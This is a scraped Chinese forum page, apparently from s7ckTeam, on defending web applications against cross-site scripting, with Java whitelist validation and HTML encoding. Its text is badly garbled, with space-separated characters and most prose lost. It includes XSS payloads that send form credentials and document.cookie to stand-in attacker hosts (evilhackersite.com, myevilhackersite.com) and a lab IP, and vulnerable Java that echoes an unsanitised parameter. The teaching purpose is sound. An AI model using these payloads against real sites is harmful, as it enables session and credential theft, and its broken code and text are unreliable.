[904] 2019-04-22_安全编码实践之二:跨站脚本攻击防御

文档创建者:s7ckTeam
浏览次数:30
最后更新:2025-01-16
2019-04-22_安全编码实践之二:跨站脚本攻击防御   B y p a s s   B y p a s s   2 0 1 9 - 0 4 - 2 2 W e b X S S X S S f i r s t N a m e P a r a m e t e r H T T P   1 . X S S U R L 访 c o o k i e 访 访 S t r i n g   f i r s t N a m e P a r a m e t e r   = S t r i n g r e q u e s t . g e t P a r a m e t e r f i r s t N a m e ; h t t p s : / / m y b a n k . c o m / s u b m i t F o r m . d o ? c u s t o m e r =   < s c r i p t >   f u n c t i o n   +   s t e a l C r e d e n t i a l s   { l o c a t i o n . h r e f   =   w w w . e v i l h a c k e r s i t e . c o m n a m e   =   d o c u m e n t . m y f o r m . u s e r n a m e . v a l u e p a s s w o r d   =   d o c u m e n t . m y f o r m . p w o r d   . v a l u e } < /   s c r i p t > / / u r l / /
b u r p - s u i t e 使 便 ;   c a t c h e { }   a l e r t ' i n j e c t ' ;   t r y a   = / /
  u r l 2 . X S S X S S X S S c o o k i e X S S   < s c r i p t >   n e w I m a g e s r c   =   h t t p : / / m y e v i l h a c k e r s i t e . c o m / l o g i n . c g i ? c =   " + e n c o d e U R I ( d o c u m e n t . c o o k i e     ;   < /   s c r i p t > / /
t e s t X S S X S S c o o k i e c o o k i e c a p t u r e - d a t a . p h p X S S   - 使 X S S 使 f i r s t N a m e f i r s t N a m e P a r a m e t e r < s c r i p t >   d o c u m e n t . l o c a t i o n   =   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 0 3 / m u t i l l i d a e / i n d e x . p h p ? p a g e = c a p t u r e - d a t a . p h p & c = +   d o c u m e n t . c o o k i e   < /   s c r i p t > S t r i n g   f i r s t N a m e P a r a m e t e r   = S t r i n g r e q u e s t . g e t P a r a m e t e r f i r s t N a m e ; p r i v a t e   f i n a l   S t r i n g   M Y _ D A T A V A L I D A T I O N _ W H I T E L I S T   = [ a - z A - Z ]   * ; p u b l i c   b o o l e a n   m u s t P a s s W h i t e L i s t C h e c k S t r i n g   c l i e n t S i d e P a r a m e t e r W h i t e L i s t F a i l u r e E x c e p t i o n { b o o l e a n   c h e c k V a l u e   W h i t e L i s t F a i l u r e E x c e p t i o n
H T T P U R L   -   2 e p r i n t U R L   - a H T M L b H T M L c U R L d J a v a S c r i p t e X S S X S S X S S X S S B y p a s s h t t p s : / / m e d i u m . c o m / b u g b o u n t y w r i t e u p / h o w - t o - w r i t e - s e c u r e - c o d e - b 2 7 5 7 b 5 9 c d 4 b { b o o l e a n   c h e c k V a l u e   =   f a l s e ; c h e c k V a l u e   =   P a t t e r n . m a t c h e s M Y _ D A T A V A L I D A T I O N _ W H I T E L I S T c l i e n t S i d e P a r a m e t e r ; i f c h e c k V a l u e   = =   f a l s e {       t h r o w   n e w   W h i t e L i s t F a i l u r e E x c e p t i o n P o s s i b l e   A t t a c k   ! ! ! ; } r e t u r n   c h e c k V a l u e ; } S y s t e m . o u t . p r i n t l n < H T M L >   < H E A D >   < B O D Y >   H e l l o   + + r e q u e s t . g e t P a r a m e t e r f i r s t N a m e + < /   B O D Y >   < /   H T M L > ; S y s t e m . o u t . p r i n t l n < H T M L >   < H E A D >   < B O D Y >   H e l l o   + +   E n c o d e r e n c o d e F o r H T M L s a n i t i s e d F i r s t N a m e V a r i a b l e + < /   B O D Y >   < /   H T M L > ;
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则